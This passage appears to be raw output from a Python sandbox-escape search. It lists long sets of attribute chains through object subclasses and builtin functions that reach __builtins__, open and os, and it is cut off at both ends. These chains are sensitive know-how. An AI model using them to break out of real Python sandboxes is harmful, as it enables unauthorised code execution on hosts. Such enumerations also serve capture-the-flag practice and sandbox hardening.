..getwidth.__repr__.__objclass__", "Subclass 184: ..__getitem__.__repr__.__objclass__", "Subclass 107: ..__init__.__le__.__self__", "Subclass 164: ..repr_array.__repr__.__self__", "Subclass 81: ..__init__.__get__.__self__", "Subclass 133: ..__getattr__.__subclasshook__.__self__", "Subclass 109: ..write.__sizeof__.__self__", "Subclass 84: ..module_repr.__lt__.__self__", "Subclass 83: ..__init__.__subclasshook__.__self__", "Subclass 195: ..TextIO.writelines.__class__", "Subclass 138: ..close.__get__.__self__", "Subclass 177: .._create_cb_wrapper.__repr__.__self__", "Subclass 104: ..get_code.__getattribute__.__self__", "Subclass 95: ..__len__.__class__", "Subclass 83: ..__repr__.__eq__.__self__", "Subclass 137: ..setter", "Subclass 185: ..getwhile.__format__.__self__", "Subclass 137: ..deleter.__ge__.__self__", "Subclass 137: ..__weakref__.__objclass__.deleter", "Subclass 108: ..getstate.__getattribute__.__self__", "Subclass 136: ..__repr__.__class__", "Subclass 94: ..__weakref__.__objclass__.__init__", "Subclass 109: ..read.__subclasshook__.__self__", "Subclass 140: ..__enter__.__repr__.__objclass__", "Subclass 140: ..__init_subclass__.__self__.__init__", "Subclass 137: ..setter.__sizeof__.__self__", "Subclass 82: ..__exit__.__call__.__self__", "Subclass 172: ..__repr__.__init_subclass__.__self__", "Subclass 96: ..load_module.__class__", "Subclass 137: ..__set__.__subclasshook__.__self__", "Subclass 108: ..setstate", "Subclass 133: ..__iter__.__class__", "Subclass 174: ..__set_name__.__ge__.__self__", "Subclass 164: ..repr_deque.__le__.__self__", "Subclass 137: ..deleter.__sizeof__.__self__", "Subclass 199: ..open_resource.__call__.__self__", "Subclass 197: ..find_module.__reduce_ex__.__self__", "Subclass 184: ..insert.__repr__.__self__", "Subclass 107: ..__init__.__delattr__.__self__", "Subclass 199: ..resource_path.__repr__.__self__", "Subclass 87: ..__exit__.__sizeof__.__self__", "Subclass 199: ..resource_path.__new__.__self__", "Subclass 110: ..__weakref__.__objclass__.seek", "Subclass 119: ..__iter__.__eq__.__self__", "Subclass 98: .._get_spec.__delattr__.__self__", "Subclass 86: ..exec_module.__call__.__objclass__", "Subclass 184: ..__init__.__le__.__self__", "Subclass 199: ..open_resource.__get__.__self__", "Subclass 196: ..Match.__subclasscheck__.__func__", "Subclass 110: ..__next__.__format__.__self__", "Subclass 80: ..has_deadlock.__str__.__self__", "Subclass 109: ..read", "Subclass 135: ..__init__.__repr__.__self__", "Subclass 93: ..exec_module.__dir__.__self__", "Subclass 110: ..writelines.__ne__.__self__", "Subclass 83: ..__eq__.__str__.__self__", "Subclass 108: ..setstate.__lt__.__self__", "Subclass 98: ..find_spec.__gt__.__self__", "Subclass 198: ..load_module.__sizeof__.__self__", "Subclass 104: ..get_source.__getattribute__.__self__", "Subclass 188: ..__copy__.__new__.__self__", "Subclass 133: ..__iter__.__get__.__self__", "Subclass 177: ..callback.__hash__.__self__", "Subclass 185: ..get.__subclasshook__.__self__", "Subclass 137: ..getter.__repr__.__objclass__", "Subclass 184: ..__setitem__.__ne__.__self__", "Subclass 110: ..reset.__le__.__self__", "Subclass 95: ..__iter__.__init__.__self__", "Subclass 110: ..read.__new__.__self__", "Subclass 164: ..repr_set.__get__.__objclass__", "Subclass 195: ..TextIO.__init_subclass__.__func__", "Subclass 132: ..__call__.__format__.__self__", "Subclass 95: ..__setitem__.__get__.__objclass__", "Subclass 188: ..__copy__.__reduce__.__self__", "Subclass 134: ..__init__.__init__.__self__", "Subclass 192: ..__subclasshook__.__self__.__new__", "Subclass 110: ..reset.__ge__.__self__", "Subclass 109: ..writelines.__le__.__self__", "Subclass 94: ..resource_path.__eq__.__self__", "Subclass 137: ..__init__.__str__.__self__", "Subclass 83: ..__eq__.__dir__.__self__", "Subclass 185: ..match.__eq__.__self__", "Subclass 119: ..__class__.__new__.__class__", "Subclass 96: ..__init__.__init_subclass__.__self__", "Subclass 98: ..__repr__.__repr__.__objclass__", "Subclass 177: ..push.__getattribute__.__self__", "Subclass 108: ..decode.__subclasshook__.__self__", "Subclass 175: .._recreate_cm.__eq__.__self__", "Subclass 175: .._recreate_cm.__le__.__self__", "Subclass 177: ..pop_all.__sizeof__.__self__", "Subclass 94: ..get_resource_reader", "Subclass 184: ..__getitem__.__call__.__self__", "Subclass 106: ..encode.__reduce_ex__.__self__", "Subclass 184: ..__subclasshook__.__self__.__len__", "Subclass 132: ..__call__.__subclasshook__.__self__", "Subclass 183: ..checkgroup.__lt__.__self__", "Subclass 94: ..is_resource.__le__.__self__", "Subclass 106: ..encode.__get__.__objclass__", "Subclass 164: ..__init__.__ge__.__self__", "Subclass 80: ..acquire.__get__.__self__", "Subclass 140: ..__init__.__format__.__self__", "Subclass 133: ..close.__gt__.__self__", "Subclass 104: ..__init__.__lt__.__self__", "Subclass 104: ..is_package.__repr__.__self__", "Subclass 110: ..__next__.__class__", "Subclass 95: ..__getitem__.__get__.__self__", "Subclass 172: ..__init__.__call__.__self__", "Subclass 185: ..error.__sizeof__.__self__", "Subclass 87: ..__exit__.__str__.__self__", "Subclass 199: ..resource_path.__ge__.__self__", "Subclass 94: ..load_module.__gt__.__self__", "Subclass 96: ..__init__.__eq__.__self__", "Subclass 184: ..append.__reduce_ex__.__self__", "Subclass 131: ..__contains__.__call__.__objclass__", "Subclass 164: ..repr_list", "Subclass 199: ..open_resource.__init__.__self__", "Subclass 80: ..acquire.__gt__.__self__", "Subclass 132: ..__subclasshook__.__self__.__call__", "Subclass 133: ..__enter__.__hash__.__self__", "Subclass 86: ..module_repr.__call__.__self__", "Subclass 95: ..__getitem__.__eq__.__self__", "Subclass 80: ..acquire.__getattribute__.__self__", "Subclass 192: ..__new__.__ne__.__self__", "Subclass 137: ..__delete__.__init__.__self__", "Subclass 81: ..acquire.__str__.__self__", "Subclass 138: ..close.__getattribute__.__self__", "Subclass 104: ..get_source", "Subclass 115: ..__await__.__subclasshook__.__self__", "Subclass 138: ..throw.__str__.__self__", "Subclass 110: ..__init__.__le__.__self__", "Subclass 140: ..__init__.__sizeof__.__self__", "Subclass 106: ..decode.__class__", "Subclass 185: .._Tokenizer__next.__repr__.__objclass__", "Subclass 94: ..contents.__init_subclass__.__self__", "Subclass 133: ..close.__str__.__self__", "Subclass 98: ..find_loader.__dir__.__self__", "Subclass 177: .._push_cm_exit.__le__.__self__", "Subclass 95: ..__setitem__.__call__.__self__", "Subclass 135: .._Printer__setup.__get__.__objclass__", "Subclass 164: ..__weakref__.__objclass__.repr", "Subclass 80: ..release.__call__.__self__", "Subclass 109: ..readlines.__setattr__.__self__", "Subclass 195: ..TextIO.writelines", "Subclass 185: ..tell.__format__.__self__", "Subclass 184: ..getwidth.__subclasshook__.__self__", "Subclass 139: ..__init__.__dir__.__self__", "Subclass 95: .._find_parent_path_names.__ne__.__self__", "Subclass 95: ..__init__.__ne__.__self__", "Subclass 83: ..__repr__.__class__", "Subclass 174: ..__get__.__reduce_ex__.__self__", "Subclass 109: ..read.__lt__.__self__", "Subclass 84: ..load_module.__self__.module_repr", "Subclass 81: ..release.__getattribute__.__self__", "Subclass 104: ..__init_subclass__.__self__.__init__", 'Global func 1: ..__repr__.__self__', "Subclass 96: ..__init_subclass__.__self__.get_source", "Subclass 196: ..Pattern.__class__.__reduce__", "Subclass 164: .._repr_iterable.__le__.__self__", "Subclass 164: ..repr_str.__delattr__.__self__", "Subclass 196: ..Pattern.__getitem__.__wrapped__", "Subclass 174: ..__set_name__.__str__.__self__", "Subclass 133: ..__init_subclass__.__self__.__getattr__", "Subclass 95: ..__contains__.__delattr__.__self__", "Subclass 192: ..__new__.__ge__.__self__", "Subclass 109: ..__next__.__get__.__self__", "Subclass 173: ..__init__.__dir__.__self__", "Subclass 94: ..is_resource.__init__.__self__", "Subclass 136: ..__call__.__gt__.__self__", "Subclass 138: ..__next__", "Subclass 104: ..get_filename.__call__.__self__", "Subclass 109: ..__iter__.__new__.__self__", "Subclass 164: ..repr_dict.__class__", "Subclass 112: ..__class__._dump_registry.__class__", "Subclass 95: ..__getitem__.__dir__.__self__", "Subclass 132: ..__call__.__repr__.__objclass__", "Subclass 83: ..__eq__", "Subclass 185: ..getuntil.__init__.__self__", "Subclass 107: ..encode.__format__.__self__", "Subclass 135: ..__call__.__getattribute__.__self__", "Subclass 94: ..__subclasshook__.__self__.is_resource", "Subclass 184: ..__setitem__.__repr__.__objclass__", "Subclass 81: ..__init__.__gt__.__self__", "Subclass 184: ..__weakref__.__objclass__.__getitem__", "Subclass 110: ..__getattr__.__repr__.__objclass__", "Subclass 95: .._get_parent_path.__sizeof__.__self__", "Subclass 94: ..__eq__.__sizeof__.__self__", "Subclass 137: ..__set__.__gt__.__self__", "Subclass 80: ..release.__call__.__objclass__", "Subclass 98: ..invalidate_caches.__ne__.__self__", "Subclass 138: ..send.__init_subclass__.__self__", "Subclass 104: ..find_loader.__get__.__self__", "Subclass 107: ..setstate.__ge__.__self__", "Subclass 108: ..setstate.__repr__.__objclass__", "Subclass 140: ..__exit__.__repr__.__objclass__", "Subclass 117: ..__aiter__.__format__.__self__", "Subclass 106: ..__weakref__.__objclass__.encode", "Subclass 184: ..__setitem__.__subclasshook__.__self__", "Subclass 94: ..load_module.__call__.__self__", "Subclass 104: ..get_data.__repr__.__self__", "Subclass 81: ..release.__get__.__objclass__", "Subclass 106: ..decode.__call__.__self__", "Subclass 137: ..__delete__.__str__.__self__", "Subclass 138: ..__subclasshook__.__self__.throw", "Subclass 114: ..__hash__.__new__.__self__", "Subclass 137: ..setter.__class__", "Subclass 93: ..exec_module", "Subclass 199: ..contents", "Subclass 95: ..append.__call__.__self__", "Subclass 98: ..find_spec.__new__.__self__", "Subclass 134: ..__init__.__new__.__self__", "Subclass 140: ..__enter__.__reduce_ex__.__self__", "Subclass 177: ..pop_all.__getattribute__.__self__", "Subclass 132: ..__call__.__init__.__self__", "Subclass 117: ..__aiter__.__call__.__objclass__", "Subclass 136: ..__call__.__format__.__self__", "Subclass 172: .._make_unbound_method.__eq__.__self__", "Subclass 136: ..__repr__.__call__.__self__", "Subclass 108: ..decode.__ge__.__self__", "Subclass 138: ..__iter__.__ne__.__self__", "Subclass 107: ..setstate.__gt__.__self__", "Subclass 174: ..__get__.__repr__.__objclass__", "Subclass 138: ..__next__.__reduce_ex__.__self__", "Subclass 94: ..__hash__.__repr__.__self__", "Subclass 133: ..__getattr__.__call__.__self__", "Subclass 183: ..__init__.__getattribute__.__self__", "Subclass 110: ..__exit__.__repr__.__self__", "Subclass 94: ..resource_path.__hash__.__self__", "Subclass 86: ..module_repr.__ne__.__self__", "Subclass 84: ..module_repr.__le__.__self__", "Subclass 175: ..__subclasshook__.__self__.__call__", "Subclass 109: ..writelines.__sizeof__.__self__", "Subclass 183: ..opengroup.__ge__.__self__", "Subclass 96: ..__weakref__.__objclass__.get_code", "Subclass 97: .._path_hooks.__func__.__class__", "Subclass 185: ..__init__.__call__.__objclass__", "Subclass 198: ..create_module.__class__", "Subclass 194: ..__class__.__new__", "Subclass 177: ..callback.__ne__.__self__", "Subclass 105: ..is_resource.__ge__.__self__", "Subclass 184: ..__repr__.__reduce__.__self__", "Subclass 176: ..__init__.__sizeof__.__self__", "Subclass 184: ..__len__.__eq__.__self__", "Subclass 137: ..__set__.__eq__.__self__", "Subclass 138: ..__init__.__call__.__self__", "Subclass 164: ..repr_str.__lt__.__self__", "Subclass 175: ..__init_subclass__.__self__.__call__", "Subclass 177: ..pop_all.__reduce__.__self__", "Subclass 164: .._repr_iterable.__dir__.__self__", "Subclass 172: ..__init__.__setattr__.__self__", "Subclass 185: ..__weakref__.__objclass__.tell", "Subclass 80: ..__init__", "Subclass 185: ..error.__init__.__self__", "Subclass 109: ..read.__repr__.__self__", "Subclass 198: ..module_repr.__gt__.__self__", "Subclass 183: ..__init__.__reduce__.__self__", "Subclass 137: ..__subclasshook__.__self__.deleter", "Subclass 179: ..__class__.__bool__", "Subclass 110: ..__getattr__.__class__", "Subclass 164: ..__init__.__hash__.__self__", "Subclass 110: ..__getattr__.__subclasshook__.__self__", 'Global func 1: ..__init__.__self__.__class__', "Subclass 96: ..load_module.__eq__.__self__", "Subclass 138: ..__init__.__class__", "Subclass 94: ..get_filename.__lt__.__self__", "Subclass 138: ..__next__.__eq__.__self__", "Subclass 93: ..create_module.__delattr__.__self__", "Subclass 96: ..is_package.__reduce_ex__.__self__", "Subclass 105: ..__weakref__.__objclass__.contents", "Subclass 104: ..get_code.__get__.__self__", "Subclass 183: ..closegroup.__new__.__self__", "Subclass 132: ..__class__._abc_caches_clear", "Subclass 199: ..open_resource.__lt__.__self__", "Subclass 96: ..load_module.__call__.__self__", "Subclass 138: ..__iter__.__subclasshook__.__self__", "Subclass 164: ..repr_instance.__delattr__.__self__", "Subclass 164: ..repr_tuple.__lt__.__self__", "Subclass 131: ..__contains__.__new__.__self__", "Subclass 83: ..__subclasshook__.__self__.__repr__", "Subclass 93: ..__subclasshook__.__self__.load_module", "Subclass 107: ..setstate.__init__.__self__", "Subclass 108: ..decode.__delattr__.__self__", "Subclass 140: ..__enter__.__new__.__self__", "Subclass 137: ..setter.__get__.__self__", "Subclass 83: ..__init__.__dir__.__self__", "Subclass 83: ..__init__.__eq__.__self__", "Subclass 177: .._create_exit_wrapper.__new__.__self__", "Subclass 94: ..__eq__.__subclasshook__.__self__", "Subclass 198: ..__subclasshook__.__self__.load_module", "Subclass 110: ..__enter__.__get__.__self__", "Subclass 110: ..__iter__.__eq__.__self__", "Subclass 140: ..__init__.__ne__.__self__", "Subclass 137: ..__init__.__eq__.__self__", "Subclass 109: ..readline.__ge__.__self__", "Subclass 177: ..enter_context.__call__.__objclass__", "Subclass 115: ..__await__.__call__.__objclass__", "Subclass 81: ..__repr__.__dir__.__self__", "Subclass 186: ..scan.__ne__.__self__", "Subclass 174: ..__init__.__repr__.__objclass__", "Subclass 183: ..__init__.__get__.__self__", "Subclass 86: ..load_module.__func__", "Subclass 185: ..getwhile.__setattr__.__self__", "Subclass 109: ..__init_subclass__.__self__.writelines", "Subclass 172: ..__init__.__le__.__self__", "Subclass 164: ..repr_set.__delattr__.__self__", "Subclass 95: ..append.__dir__.__self__", "Subclass 81: ..acquire.__call__.__objclass__", "Subclass 185: ..getwhile.__get__.__objclass__", "Subclass 109: ..__next__.__ge__.__self__", "Subclass 196: ..Pattern.__call__.__func__", "Subclass 82: ..__enter__.__getattribute__.__self__", "Subclass 96: ..module_repr.__self__.get_code", "Subclass 177: ..push.__get__.__self__", "Subclass 183: ..opengroup.__dir__.__self__", "Subclass 96: ..__init__.__reduce__.__self__", "Subclass 196: ..Pattern.__class__.__instancecheck__", "Subclass 81: ..__repr__.__sizeof__.__self__", "Subclass 104: ..load_module.__getattribute__.__self__", "Subclass 107: ..__weakref__.__objclass__.encode", "Subclass 84: ..get_source.__func__.__class__", "Subclass 81: ..__init__.__getattribute__.__self__", "Subclass 84: ..exec_module.__self__.module_repr", "Subclass 133: ..__exit__.__gt__.__self__", "Subclass 108: ..setstate.__get__.__self__", "Subclass 135: .._Printer__setup.__repr__.__objclass__", "Subclass 82: ..__enter__.__format__.__self__", "Subclass 117: ..__class__.__subclasscheck__", "Subclass 164: ..repr_set.__lt__.__self__", "Subclass 104: ..__subclasshook__.__self__.__repr__", "Subclass 119: ..__class__.__instancecheck__.__class__", "Subclass 108: ..setstate.__new__.__self__", "Subclass 83: ..__repr__.__reduce_ex__.__self__", "Subclass 164: ..repr_frozenset.__format__.__self__", "Subclass 87: ..__exit__.__repr__.__objclass__", "Subclass 96: ..get_code.__repr__.__objclass__", "Subclass 192: ..__init_subclass__.__self__.__new__", "Subclass 107: ..__init__.__reduce_ex__.__self__", "Subclass 173: ..__subclasshook__.__self__.__get__", "Subclass 107: ..setstate.__le__.__self__", "Subclass 185: ..seek.__ge__.__self__", "Subclass 105: ..open_resource.__reduce_ex__.__self__", "Subclass 107: ..reset.__reduce__.__self__", "Subclass 114: ..__class__._abc_registry_clear.__class__", "Subclass 172: ..__init__.__lt__.__self__", "Subclass 131: ..__class__.__instancecheck__.__class__", "Subclass 110: ..writelines.__class__", "Subclass 110: ..readline.__sizeof__.__self__", "Subclass 81: ..__repr__.__ne__.__self__", "Subclass 137: ..getter.__dir__.__self__", "Subclass 164: ..__init__.__dir__.__self__", "Subclass 137: ..getter.__get__.__objclass__", "Subclass 108: ..__weakref__.__objclass__.reset", "Subclass 184: ..__init_subclass__.__self__.__repr__", "Subclass 94: ..get_resource_reader.__class__", "Subclass 108: ..getstate.__repr__.__self__", "Subclass 177: ..__weakref__.__objclass__._create_exit_wrapper", "Subclass 109: ..__getattr__.__dir__.__self__", "Subclass 82: ..__weakref__.__objclass__.__exit__", "Subclass 183: ..__init__.__delattr__.__self__", "Subclass 104: ..get_code.__setattr__.__self__", "Subclass 81: ..acquire.__subclasshook__.__self__", "Subclass 177: ..pop_all.__repr__.__objclass__", "Subclass 177: ..__init__.__init_subclass__.__self__", "Subclass 138: ..__next__.__call__.__self__", "Subclass 109: ..__init__.__ne__.__self__", "Subclass 109: ..writelines.__lt__.__self__", "Subclass 93: ..is_package.__eq__.__self__", "Subclass 104: ..load_module.__hash__.__self__", "Subclass 83: ..__init__.__hash__.__self__", "Subclass 95: ..__contains__.__setattr__.__self__", "Subclass 137: ..__subclasshook__.__self__.__get__", "Subclass 104: ..find_module.__format__.__self__", "Subclass 179: ..__class__._check_for_existing_members", "Subclass 86: ..exec_module.__lt__.__self__", "Subclass 134: ..__repr__.__subclasshook__.__self__", "Subclass 135: ..__call__", "Subclass 195: ..IO.__exit__.__class__", "Subclass 93: ..load_module.__lt__.__self__", "Subclass 108: ..reset.__get__.__objclass__", "Subclass 110: ..reset.__setattr__.__self__", "Subclass 105: ..contents.__lt__.__self__", "Subclass 131: ..__class__.__new__", "Subclass 195: ..BinaryIO.writable.__class__", "Subclass 96: ..load_module.__setattr__.__self__", "Subclass 109: ..__subclasshook__.__self__.readline", "Subclass 95: .._get_parent_path.__delattr__.__self__", "Subclass 139: ..__str__.__repr__.__self__", "Subclass 83: ..__init__.__gt__.__self__", "Subclass 133: ..__init_subclass__.__self__.__init__", "Subclass 108: ..setstate.__sizeof__.__self__", "Subclass 177: .._create_exit_wrapper.__class__", "Subclass 95: ..__contains__.__get__.__self__", "Subclass 174: ..__init__.__init__.__self__", "Subclass 92: ..find_module.__func__.__class__", "Subclass 138: ..__init__.__lt__.__self__", "Subclass 95: .._find_parent_path_names.__get__.__self__", "Subclass 98: ..find_module.__init__.__self__", "Subclass 164: ..repr.__init__.__self__", "Subclass 109: ..seek.__init_subclass__.__self__", "Subclass 109: ..__exit__.__reduce__.__self__", "Subclass 109: ..write.__setattr__.__self__", "Subclass 80: ..has_deadlock.__sizeof__.__self__", "Subclass 185: ..seek.__class__", "Subclass 39: ..__code__.__objclass__", "Subclass 195: ..IO.tell.__class__", "Subclass 82: ..__enter__.__get__.__self__", "Subclass 98: .._get_spec.__repr__.__self__", "Subclass 110: ..__init_subclass__.__self__.writelines", "Subclass 195: ..BinaryIO.fileno.__class__", "Subclass 137: ..getter.__le__.__self__", "Subclass 105: ..open_resource.__lt__.__self__", "Subclass 105: ..open_resource", "Subclass 176: ..__init__.__reduce_ex__.__self__", "Subclass 104: ..find_module.__lt__.__self__", "Subclass 199: ..is_resource.__lt__.__self__", "Subclass 138: ..__await__.__ge__.__self__", "Subclass 173: ..__init__.__subclasshook__.__self__", "Subclass 177: ..__weakref__.__objclass__.pop_all", "Subclass 185: ..error.__getattribute__.__self__", "Subclass 109: ..write.__format__.__self__", "Subclass 97: .._path_hooks.__func__", "Subclass 184: ..__init__.__lt__.__self__", "Subclass 104: ..load_module.__subclasshook__.__self__", "Subclass 173: ..register.__delattr__.__self__", "Subclass 183: ..closegroup.__ge__.__self__", "Subclass 164: ..repr_list.__delattr__.__self__", "Subclass 98: .._get_spec.__reduce__.__self__", "Subclass 108: ..reset.__repr__.__objclass__", "Subclass 131: ..__contains__.__gt__.__self__", "Subclass 172: ..__get__.__init__.__self__", "Subclass 185: ..getuntil.__ge__.__self__", "Subclass 172: ..__init__.__getattribute__.__self__", "Subclass 138: ..send.__call__.__self__", "Subclass 104: ..get_data.__le__.__self__", "Subclass 107: ..setstate.__setattr__.__self__", "Subclass 95: .._get_parent_path.__format__.__self__", "Subclass 137: ..deleter.__new__.__self__", "Subclass 93: ..load_module.__subclasshook__.__self__", "Subclass 136: ..__call__.__getattribute__.__self__", "Subclass 94: ..is_resource", "Subclass 104: ..get_source.__hash__.__self__", "Subclass 140: ..__repr__.__get__.__objclass__", "Subclass 137: ..__set__.__delattr__.__self__", "Subclass 174: ..__set_name__.__getattribute__.__self__", "Subclass 199: ..resource_path.__setattr__.__self__", "Subclass 177: .._push_exit_callback.__le__.__self__", "Subclass 164: ..repr_dict", "Subclass 185: ..tell.__init_subclass__.__self__", "Subclass 184: ..getwidth.__eq__.__self__", "Subclass 195: ..IO.flush", "Subclass 184: ..insert.__get__.__objclass__", "Subclass 117: ..__class__._abc_registry_clear.__class__", "Subclass 184: ..__init__.__class__", "Subclass 173: ..register.__class__", "Subclass 138: ..throw.__init__.__self__", "Subclass 137: ..setter.__ne__.__self__", "Subclass 96: ..load_module.__dir__.__self__", "Subclass 110: ..__enter__.__reduce_ex__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_filename", "Subclass 185: .._Tokenizer__next.__gt__.__self__", "Subclass 192: ..__new__.__setattr__.__self__", "Subclass 109: ..__init__.__repr__.__objclass__", "Subclass 98: ..find_loader.__format__.__self__", "Subclass 173: ..register.__getattribute__.__self__", "Subclass 133: ..__exit__.__get__.__objclass__", "Subclass 135: ..__repr__.__gt__.__self__", "Subclass 140: ..__repr__.__ne__.__self__", "Subclass 39: ..__defaults__.__objclass__", "Subclass 184: ..insert.__get__.__self__", "Subclass 108: ..getstate.__call__.__objclass__", "Subclass 95: ..__getitem__.__subclasshook__.__self__", "Subclass 185: ..getwhile.__dir__.__self__", "Subclass 134: ..__call__.__repr__.__self__", "Subclass 140: ..__init__.__le__.__self__", "Subclass 94: ..contents.__dir__.__self__", "Subclass 131: ..__subclasshook__.__func__.__class__", "Subclass 109: ..readline.__reduce__.__self__", "Subclass 198: ..create_module.__gt__.__self__", "Subclass 186: ..__init__.__reduce_ex__.__self__", "Subclass 106: ..encode.__repr__.__self__", "Subclass 176: ..__init__.__call__.__objclass__", "Subclass 139: ..__init__.__lt__.__self__", "Subclass 109: ..readlines.__delattr__.__self__", "Subclass 184: ..append.__le__.__self__", "Subclass 84: ..module_repr.__setattr__.__self__"}, 'builtins': {"Subclass 106: ..decode.__globals__", "Subclass 164: ..__init__.__globals__"}, '__builtins__': {"Subclass 183: ..__init__.__globals__", 'Global func 1: ..__globals__.__setitem__.__self__', "Subclass 137: ..__delete__.__globals__", 'Global func 1: ..__globals__.__eq__.__self__', 'Global func 1: ..__globals__.__init__.__self__', 'Global func 1: ..__globals__.__len__.__self__', "Subclass 80: ..__init__.__globals__", "Subclass 134: ..__call__.__globals__", 'Global func 1: ..__globals__.__delitem__.__self__', 'Global func 1: ..__globals__.__reduce__.__self__', 'Global func 1: ..__globals__.__contains__.__self__', 'Global func 1: ..__globals__.__or__.__self__', 'Global func 1: ..__sizeof__.__self__.__globals__', "Subclass 164: ..__init__.__globals__", 'Global func 1: ..__le__.__self__.__globals__', 'Global func 1: ..__reduce_ex__.__self__.__globals__', 'Global func 1: ..__globals__.__le__.__self__', 'Global func 1: ..__globals__.__dir__.__self__', "Subclass 106: ..decode.__globals__", 'Global func 1: ..__repr__.__self__.__globals__', 'Global func 1: ..__globals__.setdefault.__self__', 'Global func 1: ..__globals__.__reversed__.__self__', 'Global func 1: ..__globals__.popitem.__self__', 'Global func 1: ..__getattribute__.__self__.__globals__', 'Global func 1: ..__str__.__self__.__globals__', 'Global func 1: ..__globals__.__str__.__self__', 'Global func 1: ..__globals__.items.__self__', 'Global func 1: ..__globals__.update.__self__', "Subclass 112: ..__class__.__instancecheck__.__globals__", "Subclass 186: ..__init__.__globals__", 'Global func 1: ..__get__.__self__.__globals__', 'Global func 1: ..__globals__.__gt__.__self__', 'Global func 1: ..__globals__.clear.__self__', "Subclass 92: .._open_registry.__func__.__globals__", 'Global func 1: ..__globals__.__getattribute__.__self__', 'Global func 1: ..__globals__.__iter__.__self__', 'Global func 1: ..__globals__.get.__self__', 'Global func 1: ..__ne__.__self__.__globals__', "Subclass 114: ..__hash__.__globals__", 'Global func 1: ..__globals__.__sizeof__.__self__', 'Global func 1: ..__lt__.__self__.__globals__', 'Global func 1: ..__globals__.__ge__.__self__', 'Global func 1: ..__hash__.__self__.__globals__', "Subclass 187: ..__init_subclass__.__func__.__globals__", 'Global func 1: ..__globals__.__setattr__.__self__', 'Global func 1: ..__globals__.__getitem__.__self__', 'Global func 1: ..__globals__.keys.__self__', 'Global func 1: ..__globals__.__reduce_ex__.__self__', 'Global func 1: ..__init__.__self__.__globals__', "Subclass 197: ..find_module.__globals__", 'Global func 1: ..__globals__.copy.__self__', "Subclass 139: ..__init__.__globals__", 'Global func 1: ..__format__.__self__.__globals__', "Subclass 133: ..__enter__.__globals__", "Subclass 172: ..__get__.__globals__", 'Global func 1: ..__globals__.__lt__.__self__', 'Global func 1: ..__globals__.__ne__.__self__', 'Global func 1: ..__ge__.__self__.__globals__', 'Global func 1: ..__eq__.__self__.__globals__', 'Global func 1: ..__globals__.__delattr__.__self__', 'Global func 1: ..__globals__.__format__.__self__', 'Global func 1: ..__globals__.pop.__self__', 'Global func 1: ..__setattr__.__self__.__globals__', 'Global func 1: ..__dir__.__self__.__globals__', 'Global func 1: ..__reduce__.__self__.__globals__', "Subclass 175: ..__call__.__globals__", 'Global func 1: ..__globals__.values.__self__', 'Global func 1: ..__globals__.__ior__.__self__', 'Global func 1: ..__globals__.__repr__.__self__', 'Global func 1: ..__gt__.__self__.__globals__', 'Global func 1: ..__delattr__.__self__.__globals__', "Subclass 104: ..__init__.__globals__", 'Global func 1: ..__globals__', 'Global func 1: ..__globals__.__ror__.__self__', "Subclass 179: ..__class__.__bool__.__globals__", 'Global func 1: ..__call__.__self__.__globals__'}, 'open': {'Global func 0: ..__self__.isinstance.__self__', 'Global func 0: ..__self__.sorted.__self__', 'Global func 0: ..__reduce_ex__.__self__.__self__', 'Global func 0: ..__self__.all.__self__', 'Global func 0: ..__self__.ascii.__self__', 'Global func 0: ..__call__.__self__.__self__', 'Global func 0: ..__setattr__.__self__.__self__', 'Global func 0: ..__gt__.__self__.__self__', 'Global func 0: ..__self__.max.__self__', 'Global func 0: ..__getattribute__.__self__.__self__', "Subclass 106: ..decode.__globals__", 'Global func 0: ..__self__.input.__self__', 'Global func 0: ..__self__.hash.__self__', 'Global func 0: ..__eq__.__self__.__self__', 'Global func 0: ..__self__.issubclass.__self__', 'Global func 0: ..__self__.eval.__self__', 'Global func 0: ..__self__.next.__self__', 'Global func 0: ..__self__.any.__self__', 'Global func 0: ..__hash__.__self__.__self__', 'Global func 0: ..__self__.len.__self__', 'Global func 0: ..__ne__.__self__.__self__', 'Global func 0: ..__sizeof__.__self__.__self__', 'Global func 0: ..__self__.format.__self__', 'Global func 0: ..__self__.bin.__self__', 'Global func 0: ..__self__.exec.__self__', 'Global func 0: ..__self__.delattr.__self__', 'Global func 0: ..__self__.min.__self__', 'Global func 0: ..__self__.hex.__self__', 'Global func 0: ..__self__.hasattr.__self__', 'Global func 0: ..__format__.__self__.__self__', 'Global func 0: ..__init__.__self__.__self__', 'Global func 0: ..__self__.abs.__self__', 'Global func 0: ..__self__.__import__.__self__', 'Global func 0: ..__self__.round.__self__', 'Global func 0: ..__self__.__build_class__.__self__', 'Global func 0: ..__self__.callable.__self__', 'Global func 0: ..__repr__.__self__.__self__', "Subclass 133: ..__enter__.__globals__", 'Global func 0: ..__self__', 'Global func 0: ..__self__.iter.__self__', 'Global func 0: ..__self__.globals.__self__', 'Global func 0: ..__self__.oct.__self__', 'Global func 0: ..__self__.setattr.__self__', 'Global func 0: ..__self__.vars.__self__', 'Global func 0: ..__self__.repr.__self__', 'Global func 0: ..__dir__.__self__.__self__', 'Global func 0: ..__reduce__.__self__.__self__', 'Global func 0: ..__self__.getattr.__self__', 'Global func 0: ..__self__.ord.__self__', 'Global func 0: ..__self__.print.__self__', 'Global func 0: ..__self__.id.__self__', 'Global func 0: ..__str__.__self__.__self__', 'Global func 0: ..__le__.__self__.__self__', 'Global func 0: ..__self__.compile.__self__', 'Global func 0: ..__self__.divmod.__self__', 'Global func 0: ..__self__.chr.__self__', 'Global func 0: ..__self__.locals.__self__', 'Global func 0: ..__self__.breakpoint.__self__', 'Global func 0: ..__self__.dir.__self__', 'Global func 0: ..__self__.sum.__self__', 'Global func 0: ..__self__.open.__self__', 'Global func 0: ..__delattr__.__self__.__self__', 'Global func 0: ..__ge__.__self__.__self__', 'Global func 0: ..__lt__.__self__.__self__', 'Global func 0: ..__self__.pow.__self__'}, 'os': {'Global func 1: ..__globals__.__setitem__.__self__', 'Global func 1: ..__globals__.__init__.__self__', 'Global func 1: ..__globals__.__eq__.__self__', 'Global func 1: ..__globals__.__len__.__self__', 'Global func 1: ..__sizeof__.__self__.__globals__', 'Global func 1: ..__globals__.__reduce__.__self__', 'Global func 1: ..__globals__.__delitem__.__self__', 'Global func 1: ..__globals__.__contains__.__self__', 'Global func 1: ..__globals__.__or__.__self__', 'Global func 1: ..__le__.__self__.__globals__', 'Global func 1: ..__reduce_ex__.__self__.__globals__', 'Global func 1: ..__globals__.__le__.__self__', 'Global func 1: ..__globals__.__dir__.__self__', 'Global func 1: ..__repr__.__self__.__globals__', 'Global func 1: ..__globals__.setdefault.__self__', 'Global func 1: ..__globals__.__reversed__.__self__', 'Global func 1: 